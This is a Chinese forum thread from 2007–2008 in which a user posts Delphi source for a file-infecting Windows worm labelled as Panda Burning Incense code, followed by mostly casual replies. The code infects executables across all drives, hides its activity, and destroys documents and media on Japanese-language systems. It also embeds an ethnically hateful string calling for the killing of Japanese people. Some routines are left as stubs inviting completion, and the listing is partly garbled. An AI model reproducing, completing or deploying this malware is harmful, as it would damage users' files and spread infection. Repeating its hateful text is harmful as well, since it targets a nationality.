设为首页收藏本站

八达网

 找回密码
 注册
查看: 538|回复: 19
打印 上一主题 下一主题

【回顾经典】熊猫烧香核心代码~~

[复制链接]

93

主题

2

好友

1万

积分

航母

我真的很爱SCI

跳转到指定楼层
1
发表于 2007-4-17 14:26 |只看该作者 |倒序浏览
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;             //病毒体的大小
iconoffset = $12eb8;           //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
   
{
headersize = 38912;             //upx压缩过病毒体的大小
iconoffset = $92bc;             //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize   = $2e8;             //pe文件主图标的大小--744字节
icontail   = iconoffset + iconsize; //pe文件主图标的尾部
id       = $44444444;         //感染标记

//垃圾码,以备写入
catchword = if a race need to be killed out, it must be yamato.  +
        if a country need to be destroyed, it must be japan!  +
        *** w32.japussy.worm.a ***;
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;  
stdcall; external kernel32.dll; //函数声明
var
tmpfile: string;
si:     startupinfo;
pi:     process_information;
isjap:   boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
  exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
  result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  try
    dstream := tfilestream.create(filename, fmcreate);
    try
    sstream.seek(headersize, 0); //跳过头部的病毒部分
    dstream.copyfrom(sstream, sstream.size - headersize);
    finally
    dstream.free;
    end;
  finally
    sstream.free;
  end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用,退出
  if comparetext(filename, japussy.exe) = 0 then //是自己则不感染
    exit;
  infected := false;
  ispe   := false;
  srcstream := tfilestream.create(filename, fmopenread);
请不要再玷污窗口人员,工作时间不许上无关的网站,不许看无关的书。我们每天被7台监察局摄像头对着,头顶有录音机, 大声说话都不敢,收黑钱更不可能。我们不敢叫苦,但也不能因为少数人而被冤枉,被背黑锅啊!

93

主题

2

好友

1万

积分

航母

我真的很爱SCI

2
发表于 2007-4-17 14:26 |只看该作者
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
  if (searchrec.attr <> 16) and (searchrec.name <> .) and
    (searchrec.name <> ..) then
    result := 0 //不是目录
  else if (searchrec.attr = 16) and (searchrec.name <> .) and
    (searchrec.name <> ..) then
    result := 1 //不是根目录
  else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
  repeat
    peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑
    if isvaliddir(searchrec) = 0 then
    begin
    fn := path + searchrec.name;
    ext := uppercase(extractfileext(fn));
    if (ext = .exe) or (ext = .scr) then
    begin
      infectonefile(fn); //感染可执行文件      
    end
    else if (ext = .htm) or (ext = .html) or (ext = .asp) then
    begin
      //感染html和asp文件,将base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之?
    end
    else if ext = .wab then //outlook地址簿文件
    begin
      //获取outlook邮件地址
    end
    else if ext = .adc then //foxmail地址自动完成文件
    begin
      //获取foxmail邮件地址
    end
    else if ext = ind then //foxmail地址簿文件
    begin
      //获取foxmail邮件地址
    end
    else  
    begin
      if isjap then //是倭文操作系统
      begin
        if (ext = .doc) or (ext = .xls) or (ext = .mdb) or
        (ext = .mp3) or (ext = .rm) or (ext = .ra) or
        (ext = .wma) or (ext = .zip) or (ext = .rar) or
        (ext = .mpeg) or (ext = .asf) or (ext = .jpg) or
        (ext = .jpeg) or (ext = .gif) or (ext = .swf) or
        (ext = .pdf) or (ext = .chm) or (ext = .avi) then
          smashfile(fn); //摧毁文件
      end;
    end;
    end;
回复

使用道具 举报

93

主题

2

好友

1万

积分

航母

我真的很爱SCI

3
发表于 2007-4-17 14:26 |只看该作者
//感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
    sleep(200);
  until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + *.*, fadirectory, searchrec) = 0) then
begin
  repeat
    if isvaliddir(searchrec) = 1 then
    subdir.add(searchrec.name);
  until (findnext(searchrec) <> 0);
  end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
  loopfiles(path + subdir.strings + \, mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
  isjap := true; //去死吧!
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
  for i := len downto 1 do //遍历每个磁盘驱动器
    loopfiles(driverlist + :\, *.*); //感染之
  sendmail; //发带毒邮件
  sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
  registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
  //远程线程映射到explorer进程
  //哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), japussy.exe) = 0 then
  infectfiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
  tmpfile := paramstr(0); //创建临时文件
  delete(tmpfile, length(tmpfile) - 4, 4);
  tmpfile := tmpfile + #32 + .exe; //真正的宿主文件,多一个空格
  extractfile(tmpfile); //分离之
  fillstartupinfo(si, sw_showdefault);
  createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
    0, nil, ., si, pi); //创建新进程运行之
  infectfiles; //感染和发邮件
end;
end.
请不要再玷污窗口人员,工作时间不许上无关的网站,不许看无关的书。我们每天被7台监察局摄像头对着,头顶有录音机, 大声说话都不敢,收黑钱更不可能。我们不敢叫苦,但也不能因为少数人而被冤枉,被背黑锅啊!
回复

使用道具 举报

7

主题

0

好友

2万

积分

大和

4
发表于 2007-4-17 17:56 |只看该作者
我 要是能写出这么牛比的代码就好了!
回复

使用道具 举报

190

主题

5

好友

4万

积分

管理员

小姐别发贴,是我

Rank: 9Rank: 9Rank: 9Rank: 9Rank: 9

战队
[B.D]=
种族
Protoss

2013年夜饭

5
发表于 2007-4-17 17:57 |只看该作者
很熟悉啊,是我写的
向还在为STL奋斗的玩家致敬!
回复

使用道具 举报

0

主题

0

好友

2094

积分

坦克

6
发表于 2007-4-17 17:59 |只看该作者
wo ca...
回复

使用道具 举报

3

主题

0

好友

3万

积分

大和

我是小色的粉丝,简称色粉,谢谢

7
发表于 2007-4-17 18:01 |只看该作者
都看不懂了

老包坑了我150两   rekkk给了我500两
回复

使用道具 举报

143

主题

3

好友

5万

积分

光明执政官

猪头陀

8
发表于 2007-4-17 18:20 |只看该作者
去看安全焦点。
据说这是另外一个病毒的。
回复

使用道具 举报

0

主题

0

好友

287

积分

机枪兵

9
发表于 2008-5-5 20:49 |只看该作者
传授病毒制作流程?
回复

使用道具 举报

50

主题

0

好友

5万

积分

光明执政官

10
发表于 2008-5-5 20:52 |只看该作者
lz3条龙...?
战争即和平,自由即奴役,无知即力量
回复

使用道具 举报

f-14tomcat 该用户已被删除
11
发表于 2008-5-5 21:03 |只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

0

主题

0

好友

5万

积分

光明执政官

水友赛菜鸟组全国10强

12
发表于 2008-5-5 21:04 |只看该作者
火箭一落后
黑子满街走
没有卢瑟头
就黑阿德叟
翠喜是兜兜
明帝变土狗
风吹两边倒
脸皮不怕糗
回复

使用道具 举报

18

主题

1

好友

5万

积分

光明执政官

13
发表于 2008-5-5 21:07 |只看该作者
看这个网页会不会中毒?
回复

使用道具 举报

0

主题

0

好友

2万

积分

大和

//·Baby and Dear

14
发表于 2008-5-5 21:11 |只看该作者
完全看不懂哇~
回复

使用道具 举报

0

主题

0

好友

2万

积分

大和

15
发表于 2008-5-5 21:14 |只看该作者
回复

使用道具 举报

1442

主题

8

好友

7万

积分

仲裁者

luaTeRran

2012年度八达十大水友

16
发表于 2008-5-5 21:22 |只看该作者
技术含量不高


回复

使用道具 举报

24

主题

0

好友

3万

积分

大和

17
发表于 2008-5-5 21:47 |只看该作者
没听说针对日文啊
十年前,熊大与我在此讨论何为八达,当时我说,八达——就是为了四万万星际玩家人人能够聊女人,下种子,爆猛料。十年过去了,我从他乡漂泊重临,与我星际者相继cs、dota、玩魔术。八达两字与我而言不可同日而语,今日再道何为八达,我会说,欲求论坛之威武,不得不经开启民智之痛苦,而这痛苦就是八达!!!
回复

使用道具 举报

3

主题

0

好友

5430

积分

飞龙

18
发表于 2008-5-5 21:51 |只看该作者
这东西怎么用?

我爱亚也
回复

使用道具 举报

0

主题

0

好友

6万

积分

仲裁者

19
发表于 2008-5-5 22:07 |只看该作者
我是不是已经中标了?
回复

使用道具 举报

132

主题

0

好友

4万

积分

光明执政官

20
发表于 2008-5-5 22:23 |只看该作者
别整核心的  来全套!!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

手机版|Archiver|八达网    

GMT+8, 2026-3-5 03:49

Powered by Discuz! X2.5

© 2001-2012 Comsenz Inc.

回顶部